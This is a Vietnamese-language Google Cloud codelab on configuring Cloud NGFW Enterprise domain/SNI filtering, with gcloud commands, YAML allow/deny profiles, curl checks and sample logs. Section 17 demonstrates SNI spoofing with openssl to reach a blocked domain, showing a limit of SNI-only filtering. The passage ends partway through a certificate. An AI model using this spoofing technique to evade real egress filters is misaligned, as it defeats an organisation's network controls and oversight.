Lớp học lập trình về lọc miền/SNI doanh nghiệp Cloud NGFW [Kiểm tra TLS không bắt buộc]

1. Giới thiệu

Tường lửa thế hệ mới (NGFW) trên đám mây

Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối đầy đủ, có các chức năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi phủ sóng rộng rãi để bảo vệ các khối lượng công việc trên Google Cloud của bạn khỏi các cuộc tấn công từ bên trong và bên ngoài.

Cloud NGFW có những lợi ích sau:

  • Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trạng thái và được phân phối đầy đủ trên mỗi khối lượng công việc để cho phép kiến trúc bảo mật không tin tưởng bất cứ nguồn nào.
  • Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa theo hệ thống phân cấp và mạng có thể được đính kèm vào một nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm nhất quán về tường lửa trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) chi phối giúp kiểm soát lưu lượng truy cập theo cả hướng bắc – nam và đông – tây một cách chi tiết, xuống đến một VM duy nhất, trên các mạng Virtual Private Cloud (VPC) và tổ chức.

Cloud NGFW có các cấp sau:

  • Cloud Next Generation Firewall Essentials
  • Tường lửa thế hệ mới trên đám mây (chuẩn)
  • Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp

Các đối tượng FQDN tiêu chuẩn của Cloud NGFW có thể dịch Tên miền đủ điều kiện (FQDN) thành địa chỉ IP, sau đó thực thi quy tắc đối với danh sách địa chỉ IP. Tuy nhiên, Cloud NGFW Enterprise có tính năng lọc miền có thể tiến thêm một vài bước trong quá trình kiểm tra.

Cloud NGFW Enterprise

Cloud NGFW Enterprise hiện cung cấp Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng ở Lớp 7, cho cấu trúc tường lửa phân tán của Google Cloud.

Cloud NGFW Enterprise hiện có tính năng lọc miền, giúp kiểm soát lưu lượng truy cập http(s) bằng cách sử dụng tên miền thay vì dựa vào địa chỉ IP.

Đối với việc lọc Miền/SNI của lưu lượng truy cập https, trong quá trình bắt tay TLS, Client Hello là một tiện ích có Chỉ báo tên máy chủ (SNI). SNI là một tiện ích cho giao thức TLS, gửi tên máy chủ mà một máy khách đang cố gắng truy cập. Đây là nơi bộ lọc sẽ được xác thực.

Với lưu lượng truy cập http, sẽ không có SNI, vì vậy chỉ trường tiêu đề Host http mới được dùng để áp dụng việc lọc.

Tính năng lọc miền được định cấu hình bằng UrlFilteringProfile, đây là một loại Hồ sơ bảo mật mới. UrlFilteringProfile sẽ chứa một danh sách UrlFilter, mỗi UrlFilter chứa một thao tác, một danh sách các chuỗi so khớp và một mức độ ưu tiên riêng. Cấu hình này sử dụng "Url" (URL) thay vì "Domain" (Miền) để dễ dàng chuyển đổi sang tính năng lọc URL đầy đủ khi tính năng này có sẵn thay vì tạo một loại Hồ sơ bảo mật mới trong tương lai.

UrlFilteringProfiles bao gồm một UrlFilter ngầm, có mức độ ưu tiên thấp nhất (2147483647) sẽ từ chối tất cả các kết nối không khớp với UrlFilter có mức độ ưu tiên cao hơn.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên mạng và bảo mật. Lớp học lập trình này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp tính năng lọc miền và SNI kèm theo hướng dẫn không bắt buộc về việc kiểm tra TLS.

Chúng tôi sẽ kiểm thử nhiều trường hợp về quy tắc cho phép và từ chối, bao gồm cả việc sử dụng ký tự đại diện.

4a779fae790d117.png

Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng bên dưới:

Mức độ ưu tiên

Hướng dẫn

Target

Nguồn

Đích đến

Hành động

Loại

200

Lưu lượng vào

TẤT CẢ

IAP

Bất kỳ

Cho phép

Essentials

300

Lưu lượng ra

TẤT CẢ

Bất kỳ

0.0.0.0/0:80,443

Kiểm tra L7

Doanh nghiệp

Kiến thức bạn sẽ học được

  • Cách tạo chính sách tường lửa mạng.
  • Cách định cấu hình và sử dụng tính năng lọc miền/SNI của Cloud NGFW Enterprise.
  • Cách định cấu hình tính năng ngăn chặn mối đe doạ ngoài tính năng Lọc miền/SNI.
  • Cách xem xét nhật ký.
  • [Không bắt buộc] Cách bật tính năng kiểm tra TLS.

Bạn cần có

  • Dự án trên Google Cloud.
  • Kiến thức về cách triển khai các phiên bản và định cấu hình các thành phần mạng.
  • Kiến thức về cấu hình tường lửa theo chính sách mạng.

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc nếu cần:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. Bật API

Bật các API nếu bạn chưa bật:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo điểm cuối doanh nghiệp Cloud NGFW

Vì quá trình tạo Điểm cuối doanh nghiệp Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thực hiện chế độ thiết lập cơ bản song song trong khi điểm cuối đang được tạo.

Tính năng Lọc miền/SNI sẽ yêu cầu một Điểm cuối tường lửa ngay cả khi bạn không có ý định sử dụng hồ sơ ngăn chặn mối đe doạ.

Tạo Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Quá trình tạo mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ bản để tạo các tài nguyên cần thiết song song.

5. Thiết lập cơ bản

Mạng và mạng con VPC

Mạng VPC và mạng con

Tạo mạng và mạng con VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Tạo địa chỉ IP ngoài, Cloud Router và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Tạo phiên bản

Tạo thực thể ứng dụng khách:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Chính sách về tường lửa mạng toàn cầu

Tạo chính sách tường lửa mạng toàn cầu:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Tạo các quy tắc Cloud Firewall Essentials bắt buộc để cho phép lưu lượng truy cập từ các dải proxy nhận biết danh tính:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Liên kết chính sách tường lửa trên đám mây với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Tạo cấu hình lọc miền/SNI cho phép

Tiếp theo, chúng ta sẽ định cấu hình các miền để cho phép và từ chối. Trong cloudshell, hãy tạo tệp yaml:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

Tạo một hồ sơ bảo mật bằng cách nhập cấu hình yaml:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Kết quả đầu ra dự kiến:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Tạo một nhóm hồ sơ bảo mật:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

Xác thực rằng SPG chứa Security Profile (Hồ sơ bảo mật):

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Kết quả đầu ra dự kiến:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Liên kết điểm cuối của Tường lửa trên đám mây

Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc ưu tiên phương pháp tập lệnh.

Xác nhận rằng bạn đã hoàn tất thành công việc tạo Điểm cuối tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Liên kết điểm cuối Tường lửa trên đám mây với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Quá trình liên kết mất khoảng 10 phút. Chỉ chuyển sang phần tiếp theo khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến khi complete:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Tạo quy tắc tường lửa để lọc miền/SNI

Google có các quy tắc tường lửa cho phép lưu lượng truy cập đi ngầm. Nếu muốn thực thi việc lọc miền/SNI, chúng ta phải xác định rõ một quy tắc. Quy tắc sau đây sẽ gửi lưu lượng truy cập đi cho các cổng đích 80 và 443 để hồ sơ bảo mật của chúng tôi kiểm tra.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. Xác thực Quy tắc cho phép

Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các yêu cầu mẫu đến đích đến được phép:

curl https://www.example.com --max-time 2

Xin lưu ý rằng yêu cầu này đã thành công do quy tắc tường lửa "cho phép".

Hãy thử một vài miền không có trong danh sách.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Kết quả đầu ra dự kiến:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

Tại sao "example.com" không hoạt động? Điều này là do cấu hình hồ sơ bảo mật có "www.example.com" một cách rõ ràng. Nếu muốn cho phép tất cả miền con của example.com, chúng ta có thể sử dụng ký tự đại diện.

Các yêu cầu khác cũng không thành công. Điều này là do nhóm hồ sơ bảo mật có chế độ từ chối mặc định với mức độ ưu tiên thấp nhất và chỉ www.example.com được phép.

Thoát khỏi máy ảo để quay lại Cloud Shell.

exit

10. Cập nhật cấu hình lọc miền/SNI cho ký tự đại diện

Hãy xem tệp yaml và thực hiện một số nội dung cập nhật bổ sung để giới thiệu các chức năng khác, bao gồm cả tính năng hỗ trợ ký tự đại diện. Chúng ta sẽ tạo một quy tắc cho phép "*.com", tương đương với mọi miền kết thúc bằng .com. Lưu ý: Quy tắc này sẽ thay thế hoàn toàn nội dung của tệp yaml ban đầu được tạo trong phần trước.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Xác thực cấu hình hồ sơ bảo mật:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Kết quả đầu ra dự kiến:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Xác thực quy tắc ký tự đại diện

Hãy xác thực xem quy tắc ký tự đại diện có hoạt động hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các yêu cầu mẫu đến những đích đến được phép:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Tất cả các yêu cầu này đều phải thành công. Bạn có thể thử bất kỳ miền .com hợp lệ nào khác. Nếu vẫn không thành công, hãy đảm bảo bạn đã đợi ít nhất 10 phút rồi thử lại.

Chúng ta thậm chí có thể thử nhiều miền con của ".com" và tất cả đều phải thành công.

curl https://mail.google.com --max-time 2

Thoát khỏi máy ảo để quay lại Cloud Shell.

exit

12. Cập nhật cấu hình lọc miền/SNI để từ chối

Chúng tôi đã cho thấy có một quy tắc DENY ngầm cho * ở cuối hồ sơ bảo mật và tạo các miền "được phép" bằng cách sử dụng filteringAction là "ALLOW". Hãy thảo luận về cách sử dụng filteringAction dưới dạng "DENY". Các thao tác DENY có thể hữu ích khi đứng trước một thao tác ALLOW rõ ràng. Hãy xem ví dụ sau đây.

Chúng tôi sẽ cập nhật tệp yaml hiện có để cho phép *.com nhưng từ chối một số miền .com cụ thể.

Chúng tôi sẽ sửa đổi tệp yaml để TỪ CHỐI *.github.com và *.google.com trong khi cho phép rõ ràng tất cả các *.com khác và giữ nguyên chế độ từ chối ngầm định mặc định. Lưu ý rằng mức độ ưu tiên của các trường hợp ngoại lệ phải có số ưu tiên thấp hơn: (1000 so với 2000) và (1500 so với 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Xác thực cấu hình hồ sơ bảo mật:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Xác thực quy tắc từ chối

Hãy xác thực xem các quy tắc DENY có hoạt động hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các yêu cầu mẫu đến những đích đến bị từ chối:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Hai yêu cầu này sẽ không thành công vì khớp với quy tắc "DENY".

Gửi thêm một số yêu cầu:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Tại sao những cách này lại hiệu quả? Các quy tắc này có hiệu quả vì quy tắc DENY là cho ".github.com" và ".google.com". Các yêu cầu đối với github.com và google.com không bao gồm ký tự đại diện đó vì ký tự này tham chiếu đến các miền con của github.com và google.com.

Các yêu cầu khác đối với miền .com sẽ thành công, với chế độ từ chối mặc định cho các miền khác. (.org, .net, .me, ...v.v.)

Thoát khỏi máy ảo để quay lại Cloud Shell.

exit

14. Cập nhật cấu hình lọc miền/SNI cho chế độ Cho phép mặc định

Điều gì xảy ra nếu bạn muốn có hành vi CHO PHÉP mặc định với các quy tắc từ chối rõ ràng. Chúng tôi sẽ cập nhật YAML để thể hiện hành vi này. Chúng tôi sẽ định cấu hình các quy tắc TỪ CHỐI cho mọi miền .com hoặc .net và cho phép tất cả các miền khác.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Cập nhật hồ sơ bảo mật bằng cấu hình yaml mới:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Xác thực cấu hình hồ sơ bảo mật:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Kết quả đầu ra dự kiến:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

Xin lưu ý rằng lệnh DENY ngầm cho * vẫn tồn tại. Quy tắc đó sẽ không liên quan vì chúng tôi đã định cấu hình một quy tắc mặc định có mức độ ưu tiên cao hơn (giá trị thấp hơn) và đặt filteringAction thành ALLOW.

(2000000000 so với 2147483647)

15. Xác thực Quy tắc từ chối bằng chế độ Cho phép mặc định

Hãy xác thực xem các quy tắc DENY có hoạt động cùng với quy tắc ALLOW mặc định hay không. Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các yêu cầu mẫu đến những đích đến bị từ chối:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Hai yêu cầu này sẽ không thành công vì khớp với quy tắc "DENY". Mọi yêu cầu .com hoặc .net đều sẽ không thành công.

Gửi một số yêu cầu phải thành công (bất kỳ miền cấp cao nhất nào khác):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Những yêu cầu này sẽ thành công vì chúng đang áp dụng quy tắc cho phép "mặc định" với mức độ ưu tiên là 2000000000.

16. Khám phá nhật ký để lọc miền/SNI

Hãy kiểm tra cách chúng ta có thể xác thực xem lưu lượng truy cập có đang được quy tắc tường lửa kiểm tra để lọc miền/SNI hay không.

Trong Cloud Console, hãy chuyển đến Trình khám phá nhật ký rồi nhập bộ lọc sau:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

Bộ lọc ở trên đang xem xét chính sách tường lửa mà chúng ta đã tạo có tên $prefix-fwpolicy và mức độ ưu tiên quy tắc là 300. Chính sách này có nhóm hồ sơ bảo mật được liên kết với cấu hình lọc miền/SNI.

91854cacaec44798.png

Như bạn có thể thấy, "trạng thái" là "INTERCEPTED" (BỊ CHẶN), cho biết lưu lượng truy cập đã bị chặn và gửi đến công cụ tường lửa của chúng tôi để xử lý.

Giờ đây, để xem nhật ký lọc SNI/miền thực tế, chúng ta có thể nhập bộ lọc sau trong Trình khám phá nhật ký: (Bạn phải thay thế $project_id bằng giá trị project_id của mình)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Nếu mở rộng một số chi tiết, chúng ta có thể thấy các chi tiết sau trong một ví dụ (đã được làm sạch):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

Ví dụ về nhật ký ở trên cho thấy một yêu cầu đến wikipedia.org đã được CHO PHÉP vì yêu cầu đó trùng khớp với quy tắc có mức độ ưu tiên 2000000000 là "*" với filterAction ALLOW. Có những thông tin khác, bao gồm cả SNI.

Chúng ta có thể xem một nhật ký mẫu DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Như chúng ta có thể thấy ở trên, đây là một yêu cầu được ghi lại khi một yêu cầu bị từ chối. Yêu cầu này được gửi đến www.php.net và trùng khớp với quy tắc 1500 trong hồ sơ bảo mật. Tương tự, nó so khớp với SNI để đưa ra quyết định.

17. Xác thực các quy tắc khi có hành vi giả mạo SNI

Như đã đề cập trong phần giới thiệu, NGFW Enterprise có thể xem xét tiêu đề máy chủ lưu trữ HTTP cho lưu lượng truy cập HTTP hoặc xem xét SNI cho lưu lượng truy cập được mã hoá TLS. Cá nhân có thể giả mạo SNI. Điều gì sẽ xảy ra nếu họ làm như vậy?

Hãy xác thực hành vi này. Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy lệnh openssl sau để giả mạo SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Trong ví dụ trên, yêu cầu là các yêu cầu đối với miền .com và .net sẽ bị chặn, còn các TLD khác sẽ được phép. Dưới đây là ví dụ về một phản hồi giả mạo. Yêu cầu được gửi đến www.google.com (đáng lẽ phải bị chặn), nhưng thay vì gửi SNI của www.google.com, chúng tôi lại chỉ định SNI của ifconfig.me. Vì chính sách này kiểm tra SNI, nên chính sách sẽ coi đây là một miền "được phép" và cho phép miền này truy cập. Chúng tôi đã kết nối thành công TLS với google.com.

.

Kết quả đầu ra dự kiến:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
